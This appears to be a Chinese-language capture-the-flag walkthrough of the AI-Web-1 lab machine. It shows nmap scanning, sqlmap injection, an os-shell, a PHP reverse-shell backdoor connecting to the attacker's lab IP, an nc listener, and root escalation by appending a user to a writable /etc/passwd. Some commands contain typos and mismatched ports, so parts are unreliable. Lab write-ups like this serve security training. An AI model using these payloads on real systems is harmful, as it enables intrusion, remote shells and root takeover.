第一步、主机发现

我们尝试使用nmap的二层发现功能进行主机扫描

1
nmap -sn 192.168.153.0/24

第二步、端口扫描

我们初步确定靶机IP为192.168.153.135后,继续使用nmap进行端口扫描和信息收集。

1
nmap -A -p 1-65535 192.168.153.135 -T4

我们发现靶机的80端口上运行apache服务,并且发现了一个文件上传的目录

我们尝试访问该ip的80端口,发现页面只有一句没什么用的话。。。

第三步、web信息收集

我们使用dirsearch工具尝试扫一下网站的目录。

1
dirb http://192.168.153.135

发现目录下存在robots.txt文件,我们看看里面有没有什么敏感文件。

文件里给出了三个目录,我们依次进行访问,发现只有 /se3reTdir777/目录可以正常访问,发现是一个登陆点。

我们输入任意数字,进行抓包判断,发现明显的注入点uid。使用sqlmap进行自动化扫描。

第四步、sqlmap自动化注入

我们使用sqlmap进行自动化扫描。

1
python sqlmap.py -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&peration=Submit" --dbs --batch

得到了我们想要的数据库 aiweb1

继续对目标数据库中的表进行探测

1
python sqlmap.py -u "http:192.168.153.135/se3reTdir777/"--data "uid=1&peration=Submit" -D  aiweb1 --tables --batch

探测字段

1
sqlmap -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&Operation=Submit"  -D aiweb1 -T user --columns --batch

发现没有我们想要的信息。。。。。。只能换思路。

第五步、sqlmap反弹shell

我们发现之前robots下存在一个 /m3diNf0/ 目录禁止访问,我们这里再次对其进行爆破。

1
dirb http://192.168.153.135/m3diNf0/

我们发现目录下存在一个info.php,我们尝试对其进行访问。

发现这是一个phpinfo配置页面。并且在其中发现了网站的根目录在home下。

知道了网站的根目录,我们就可以尝试使用sqlmap反弹shell。

1
sqlmap -u "http://192.168.153.135/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell

依次选择4:php web server

​ 2:custom location

网站路径:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

​ PS:优先选择此路径的原因是sql注入在该页面下。

第六步、php后门反弹shell

​ 提示需要一个终端,所以我们得想办法反弹一个shell。在这里我们已经得到一个shell,可以写一个后门,在这里写一个php后门。

1
2
3
4
<?php
$sock=fsockopen("192.168.153.152",4567);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

我们尝试访问本地的127.0.0.1的4567端口。发现可以正常访问目录下的文件。

我们在shell下载下a.php文件。

我们在kali下监听 9966端口。

1
nc -lvp 9966

然后我们在使用php命令运行我们下载的php后门。

我们可以发现kali已经成功反弹shell。

第七步、提权获得flag

我们首先使用ptthon提升为交互式shell:

1
python -c 'import pty;pty.spawn("/bin/bash")'

​ 发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限,所以我们试着添加一个用户看看: 因为写入的时候密码是加密的,所以要先加密密码:

1
openssl passwd -1 -salt abc 000000

再写入密码:

1
echo 'abc':$1$abc$yzqAxwzjwao0BUFj9nRwF/:0:0::/root:/bin/bash'>>/etc/passwd

最后使用su命令切换为root用户。得到Flag.